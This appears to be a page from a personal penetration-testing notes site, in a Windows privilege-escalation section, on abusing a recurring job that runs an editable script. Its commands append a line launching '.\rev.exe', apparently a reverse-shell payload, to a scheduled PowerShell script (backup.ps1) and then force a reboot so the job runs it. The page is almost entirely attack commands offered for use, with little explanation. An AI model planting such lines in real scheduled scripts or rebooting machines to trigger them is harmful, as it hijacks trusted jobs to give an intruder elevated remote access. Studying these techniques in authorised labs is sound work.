> For the complete documentation index, see [llms.txt](https://cel1s0.gitbook.io/offsec-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://cel1s0.gitbook.io/offsec-notes/readme/windows/privesc/job-with-editable-file.md).

# Job with editable file

This topic created for uncommon editable files with repetetive job.

### Powershell file

```
echo. >> backup.ps1
echo .\rev.exe >> backup.ps1
```

To get restart machine, you can use this command:

```
powershell Restart-Computer
```
